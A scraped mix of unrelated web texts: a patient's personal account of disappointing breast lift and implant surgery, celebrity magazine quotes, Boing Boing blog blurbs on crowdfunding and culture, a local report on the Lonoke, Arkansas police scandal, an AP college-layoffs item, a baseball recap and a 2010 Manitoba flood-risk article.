In May 2012 I underwent full anchor lift and my old 225 cc over the muscle implants removed and replaced with 475 cc silicones under the muscle. Upon awakening from anesthesia, I was terrified-I looked FLAT!! My hubby and family assured me everything was fine, there was swelling, etc. and to be patient. As soon as I could, I went online and found forums like Real Self and they have helped me alot, tho' frankly seeing other ladies' results made me very sad--they look SO much better than I. I'm 49 years old, 200 pounds, and wasn't expecting to come out looking young and thin. But I was absolutely NOT prepared for my results.
I waited and watched, waiting for dropping and fluffing, waiting for some shape to appear, and waiting for a result I could live with. Since I've never seen a real breast before, I suppose I had no idea what one looked like. I thought all breasts were supposed to be round. Well, with my surgery I went from grapefruits to hamburger buns in size, shape, and projection. Preop I was a DD cup. Now, 4-1/2 months postop, I'm barely a B cup. I still don't know what happened. My surgeon is very nice but honestly, just doesn't seem to understand why I feel so badly. I finally figured out by looking online that I look EXACTLY like a mastectomy/reconstruction patient, not someone who had a lift and BA. I'm FLAT as a pancake, and wide. Under clothing I look "normal" and even have some cleavage, with a bra squishing everything together. Naked, I suppose it's a reasonable result; I'm fairly symmetric, and I've healed well. However, I've been SO SAD ever since my surgery and cry nearly every day. I'm NOT a depressed or sad person, and never have been. This has been such a hit to my self-esteem it takes me right back to how I felt in high school--deformed, (I had a pigeon breast,) unfeminine, and couldn't participate in "normal" girl stuff. I've been stressed, sad, and feeling like I can't really function at 100% as a female. On top of that, I feel guilty for feeling how I do. After all, the mission was accomplished. And I healed well, with only a few spit stitches, so I should be grateful. And I am grateful, but so, so sad.
I've met with my PS and now we're talking about 800 cc HP OVER the muscle this time. She's reluctant, I can tell. She isn't guaranteeing she can get 800 into me. My surgery is scheduled for October 30, 2012. No matter the result, I will have to live with it becauase this will drain literally every cent I have. Instead of going into surgery expectant and happy, anticipating good results, I'm going into surgery scared, anxious and very much afraid I'll look even worse afterward. This isn't how I thought it would go. I didn't ask enough questions prior to my May procedure and worry that I'm not asking enough questions now. But I don't know WHAT to ask. For my original surgery in 1984, there werent' the choices available that there are now. You went in and the surgeon made the decisions, and that's what you got. Also, my implants lasted me a good 30 years. Now I'm wondering if the new implants and placement is any better, and can I expect a lasting (good) result like I did with my originals? Also of note, I've had a very tough time finding women similar to me in age and weight, and also experience. I hope maybe my experience can help someone else.
From Implants to Breast Lift with Implant Extraction and New Implants to Revision...- Denver, CO
Hello- I had silicone gel implants placed over...
Update. One week ago I had implant revision, 800...
I'm almost 6 weeks postop and happy as can be with...
This rating reflects how I feel. I believe my disappointing resuls the first time around (anchor lift and BA with smaller implants) are because I'm not an ideal candidate for cosmetic procedures--I'm obese. I chose this provider based on LOTS of research. Breast reconstruction is her specialty.

W Magazine Unveils Star-Studded Anniversary Issues
Taking a break from their hectic acting schedules, Scarlett Johansson, Rooney Mara, Keira Knightley and Mia Wasikowska landed on the November 2012 40th Anniversary Issue of W magazine.
Each channeling a different decade of fashion, the four beauties glammed up to pose for the Steven Klein shot while revealing memories from the era they represent.
Highlights from Miss Johansson's, Miss Knightley's, Miss Mara's and Miss Wasikowska's interview are as follows. For more, be sure to pay a visit to W!
Scarlett Johansson
On her favorite person from the 90s:
"Chris Farley. I thought he was hilarious. Growing up, I used to watch Saturday Night Live just to see him. He threw his whole body into the parts he played: He'd become red and sweaty and frantic. When he died, it was really significant for me."
Keira Knightley
On fashion trends of the 2000s that she dislikes:
"I think skinny jeans and micro-miniskirts are very unfriendly. I've been known to wear both, but on some days it seems like they were invented to make you feel bad about yourself."
Mia Wasikowska
On who she feels embodies the 1980s the most:
"Madonna. She's the icon. She's wholly her own person."
Rooney Mara
On her favorite 1970s film::
"Paper Moon. I saw it only last year. David [Fincher] made me watch it, and I think I've seen it five times since then… I love that ending—it's not too happy-happy."

This episode of The New Disruptors looks at crowdfunding the first stages of a documentary. Glenn talks with director Devin Lucas, who — along with his two partners in Meep Morp Studio, Christine McDonald and Scott McKenzie — are making a movie about a very favorite Happy Mutant: Under the Smogberry Trees, the true story of Dr. Demento and Mr. Hansen. They raised nearly $120,000 to get the film well underway and have lined up a large number of artists whose work became famous through the radio show to appear.

As promised by Jeremy Frommer, the financier who has assembled the largest private collection of Bob Guccione, Omni, Penthouse, and related stuff (a good portion of which is for sale), Omni Reboot is live. Edited by Claire Evans, a writer and editor (and part of the band YACHT), Reboot is starting life as a blog, but Claire tells us she has great hopes for expanding as time progresses.
But what a blog! Friends of Boing Boing Rudy Rucker and Bruce Sterling contributed fiction to the launch: "I Arise Again" and "The Landline," respectively. The premier also sports a feature on Ben Bova, one of the great science-fiction editors and writers, and a founding editor at Omni; and about what was learned in the "failure" of Biosphere 2.
Claire, also a friend of BB, writes in her introductory editor's note: "We will never be able to compete with your nostalgia." Instead, they're using our nostalgia as a scaffolding by which we will climb to the stars. Read the rest
Pick-up artists are, sadly, a community. It even has a handy three-letter abbreviation: PUA. It dates back to the 1970s and has been enabled and expanded, like all affinity groups, by the Internet's network effect. In the last week, I suspect that tens of millions of people, if not more, have become aware of the extent of the subculture due to a Kickstarter campaign for a book about applying PUA stratagems.
A guy not involved in that community spotted the project and raised an objection in a blog post in its closing hours due to what he said was material intended for the book but not posted on Kickstarter that advised forms of sexual assault. Kickstarter declined to halt the campaign; it funded; Kickstarter then apologized and made changes. Was the writer correct about sexual assault? Are PUAs misunderstood? Did Kickstarter under-, then overreact? Read the rest
The "Code Monkey Saves World" project is about to stretch itself into the world of kickass princesses. Troubadour Jonathan Coulton and filmmaker and comics writer Greg Pak teamed up a few weeks ago to launch a crowdfunding effort to raise $39,000 to create a series of comic books based on the villains and other characters from Coulton's songs. On their way to blow past $200,000 in pledges, the dynamic duo added more pages to the future comics, promised JoCo would record an album of newly recorded acoustic versions of the songs referenced in the comics, and provided other rewards, most of which existing backers get added without having to increase their pledge.
Pak and Coulton have at least one more rabbit to pull out of their jointly worn hat: a children's book created from "The Princess Who Saved Herself," the title of which explains the song. Read the rest

Whatever you do, don't call Ophira Eisenberg a comedienne. That's an outdated, patronizing term from an era when men patted women on the head (or, unsolicited, on the ass) and called Amelia Earhart an aviatrix.
If only her fiancé, now husband, had known that before he compiled a spreadsheet of every woman he had slept with before meeting Eisenberg, a list she discovered by accident and couldn't resist examining, and which listed her as the latest entry with the unfortunate label comedienne in the cell next to her name. She was furious. But Jonathan is a remarkable man, and, in one of the best parts of her new memoir, manages to explain himself credibly. (Spoiler: She marries him.)
Eisenberg is a professional comedian, thank you very much. She tours, she hosts the NPR quiz show Ask Me Another (with the Internet's Jonathan Coulton as the regular musical sidekick), and recently came out with a memoir: Screw Everyone: Sleeping My Way to Monogamy. You can hear a half-hour conversation she and I had about the book, her life, and her husband's beautiful, piercing eyes in the podcast in this post.
It's a Bildungsroman, like many memoirs, dealing largely with the period from when she came of age and sexual maturity as a teenager through moves from her hometown of Calgary to Toronto and then New York, and her shift from IT support to full-time funny lady.
I don't have more to say about Aaron Swartz's death; I knew him a little, but felt his loss keenly. As coverage appeared, however, I found myself concerned about his legacy. Aaron did so much in such a short period of time, but several of his accomplishments have been glossed over in a way that distorts his contributions. Read the rest
The Library of Congress occupies three massive and ornate buildings in the center of Washington, D.C. But those edifices house just part of the collection, which spans hundreds of miles of shelves across many less-interesting buildings, and extends to media beyond books.
To find the heart of the nation's audiovisual memory, I took a lovely drive in October along ever smaller highways heading southwest from Washington, D.C., to Culpeper, Virginia, where sound recordings, films, and video reside in temperature-controlled vaults beneath Mount Pony.
Passing historical sites like Manassas (where Bull Run is located) , and watching the landscape shift rapidly from government buildings and commercial high rises to strip malls to farms and antique stores, it felt as if I traveled through time as well as distance on the 75-mile trip.
But the library's Culpeper facility is firmly rooted in the 21st century, and its existence owes much to the latter half of the 20th. While the focus is on what's buried inside, it's hard to ignore the beauty of the setting, its landscaping, and the building's architecture; it's the best use of concrete that I've ever seen in interior design, and I say that completely unironically.

TOP STORY >> Council shaken by more charges
Leader staff writer
IN SHORT: Stunned by lurid tales of sex and drugs involving its former police chief, the Lonoke City Council grilled the acting chief over alleged irregularities Monday.
Still shaken over the felony arrest of their former police chief and his wife on drug, theft and sex-related charges and their mayor for using inmate labor at his home, a former dispatcher for having sex with an inmate and now a legislative audit report pointing to irregularities in the jail commissary fund, some members of the Lonoke City Council asked acting Police Chief Sean ONale pointed questions about missing ticket and receipt books and those irregularities Monday night.
The town recently has been the butt of jokes on late- night television, and this week is featured in a National En-quirer article titled ScandalvilleTop cop and wife busted in sex and drug shame. The articlemug shots and alllumped Mayor Thomas Privett, accused of having inmate labor hang his Christmas lights and fix his air conditioner, with former Police Chief Jay Campbell and his wife Kelly on multiple felony charges.
But Monday night, the council was most concerned with the audit report that accused ONale with improperly withdrawing $1,760 from the commissary fund, and with missing ticket and receipt books.
ONale said that in order to maintain his integrity and confidence in the police department, he was giving the city deputy clerk a check for that amount until questions are answered.
This is not a repayment, he said, indicating that he didnt owe the money. Because the irregularities are under investigation by the State Police, ONale said he couldnt answer questions about that.
He did say the department had nothing to hide. These are accounting issues.
Councilman Pat Howell asked the chief hard questions about the missing police ticket books and receipts, which could have been the result of carelessness and bad procedures, or of someone skimming unrecorded money.
ONale said most of the problems in accountability had been corrected and others would be soon.
Abruptly in the middle of questioning, Howell moved that the council go into executive session to consider a personnel matter, which some speculated had to do with disciplining ONale, but when the public meeting reconvened about 30 minutes later, no action was taken and no further explanation was given about the purpose of the session. Pretrial motions will be heard Thursday in Lonoke Circuit Court on charges against former chief Jay Campbell, his wife Kelly and two-bail bondsmen.
No charges are currently pending regarding irregularities in the commissary funds or tickets or fine collection.
Alderman Dick Bransford read a statement answering those who have asked how the city council let things get so far out of hand.
We had nothing but rumors and coffee-shop talk, said Bransford of the allegations that eventually be-came charges against the police chief.
We cant act on this kind of in-formation, wed be sued and in all kind of trouble. We have to get our ducks in a row (before acting.)
He said councilmen first discovered that charges had been filed against the chief and the mayor from the news mediathat no one in authority would tell them anything and that even state Rep. Lenville Evans (D-Lonoke) had been unable to learn anything from the State Police.
As for the funds missing from the jail commissary fund, Bransford said that he had served on the council for 20 years, through seven mayors and Ive never heard of a commissary account. How can we be held responsible?
The council may be sensitive to all the alleged official wrongdoing, but it nonetheless approved the meetings of the newly formed Advertising and Promotion Com-mission and the selection of Shirlene Jones of Perry Motel as chairman.
In other action, the council approved spending $1,900 to fix each of two wells, and the purchase of a water-level recorder for $1,360.
The council approved the purchase of a tractor/loader for the parks department, and also money for a taller ladder for the ladder truck so it could evacuate the third floor if necessary of the new Holiday Inn Express. It also authorized the repair of a fire department pump truck, or else the installation of a new pump if necessary.
The council approved spending as much as $17,000 for new computers and a server for the community center, if purchased on state contract.

NELSONVILLE, Ohio (AP) -- Students at a southeastern Ohio community college have taken to the streets to protest upcoming employee layoffs at the school.
About 40 students in Hocking College's Public Safety Services program stood in front of the college's administrative building Monday chanting "No more cuts!" The Logan Daily News (http://bit.ly/Waa9r1) reports the students were especially upset about the firing of the popular dean of their academic program.
The Nelsonville college announced last week that it will cut 23 jobs on Nov. 2. The move is an attempt to balance the 2013 budget and help deal with a $4.3 million deficit.
Hocking College President Ron Erickson has said that the budget shortfall is due to a decrease in enrollment.

Adam Dunn and Paul Konerko belted home runs and Mark Buehrle threw seven solid innings to lead the Chicago White Sox to a 9-4 home win over the Oakland Athletics on Thursday.
The loss spoiled Bob Melvin's first game as interim manager of the Athletics, who have lost 10 in a row.
Buehrle (6-4) posted his eighth consecutive quality start and has won five of his past six decisions. He improved to 6-13 against Oakland.
Melvin replaced Bob Geren, who was fired on Thursday, but the move didn't immediately change Oakland's fortunes. The Athletics have just four extra-base hits over their past four games and have been held to three runs or fewer seven times during their losing streak.
Hideki Matsui had the only extra-base hit for Oakland, going 2-for-3 with a home run to break a 1-for-22 slump.
Athletics starter Trevor Cahill (6-4) lost his fourth straight decision, including two against the White Sox. He hasn't won since May 9.
Oakland has lost 16 of 21 overall, while the White Sox have won seven of 10.
Chicago's Carlos Quentin extended his hitting streak to 11 games with a single in the sixth.

Hey there, time traveller!
This article was published 14/11/2010 (2445 days ago), so information in it may no longer be current.
The spring melt is still a winter away but the 2011 flood watch has already begun.
Swollen rivers, saturated soils and the possibility of a higher-than-normal snowfall due to a La Niña weather pattern are raising fears southern Manitoba could face significant flooding in four to six months.
"All of the indicators are indicating we could be in serious trouble," said Bob Stefaniuk, mayor of the Rural Municipality of Ritchot, home to 5,000 people on both sides of the Red River south of Winnipeg.
He said he's most concerned about the high moisture content of the soil, which means spring melting won't be absorbed and will run over land to the river instead.
"We're hoping for a mild winter with a minimum of snow and a slow melt," he said.
Jim August, CEO of The Forks Renewal Corp., is crossing his fingers for the same thing.
"We're going to monitor it very closely. It doesn't look good. Everybody is nervous about it," he said.
August said he has never seen the water so high so close to freeze-up and he's worried how that's going to impact operations at The Forks this winter.
"This is a whole new game for us. Our river walks and docks were under water for extended period nine times in the summer and fall," he said.
Manitoba's new senior flood forecaster, Phillip Mutulu, shares their concern.
"If the snowmelt is at just normal rate or above-normal rate, then there will be flooding. And if we have above-normal snowfall, combined with a fast melt of snow... that would spell a serious flooding problem," Mutulu said.
On Monday, the Red River at James Avenue was measured at 13.3 feet above normal winter ice levels -- the highest level for a Nov. 8 in 62 years of provincial record-keeping, he said.
The city's rivers have since dropped a bit since that crest -- the result of heavy rains from the late October weather bomb -- but are likely to remain abnormally high heading into freeze-up. Normally for this week, the river reading at the James Avenue pumping station is about a foot above normal winter ice levels, but we may not see The Forks walkway (roughly eight feet above James) before the cold weather sets in, Mutulu said.
The Red River watershed is soaking wet.
In southern Manitoba, farmers have just slogged their way through what Environment Canada's David Phillips calls "the wettest growing season on record." In parts of farm country, you can still see water standing on fields, many of which were too wet this year to produce a crop.
In western Manitoba, the Shellmouth Reservoir, built nearly four decades ago to reduce the risk of flooding along the Assiniboine River, including Winnipeg, is two metres higher than normal for this time of year. The province is releasing water from the reservoir so by spring it will be able to swallow some runoff from heavy storms.
Similar wet conditions also exist on the U.S. side of the border. Officials in both countries are now analyzing aerial photographs and soil samples to begin building their flood-forecast models.
Canadian and U.S. flood officials will meet in January to review the situation. "One of the things we are going to be discussing is preparedness for spring flooding," Mutulu said.
Manitoba's first flood forecast is expected in February.
Phillips, a senior climatologist with Environment Canada, said Winnipeg gets, on average, 22 per cent of its annual precipitation from snow.
And like Mutulu, he said it's not the amount of snow that will be critical but how quickly it melts next spring. While historically, La Niñas have tended to produce colder and snowier winters, they've become less predictable in recent years, Phillips said. Two of the last four La Niñas were warmer than normal, he said. The latest Environment Canada weather models for January to the end of March are in fact predicting near-normal to warmer temperatures for southern Manitoba and normal to slightly less than normal precipitation, he said.
Phillips said to minimize springtime flooding, ideally we would have a mild winter that would minimize ice buildup on rivers and streams along with temperatures that would produce a gradual spring melt.

The perfect storm
Reasons to fear a springtime flood in 2011:
-- Soils throughout the Red River basin are saturated.
-- The Red River at James Avenue on Monday was 13.3 feet, the highest level for Nov. 8 in 62 years of record-keeping.
-- The Shellmouth Reservoir is two metres higher than normal for November.
-- A La Niña weather pattern is developing, meaning the winter could be colder and snowier than normal.
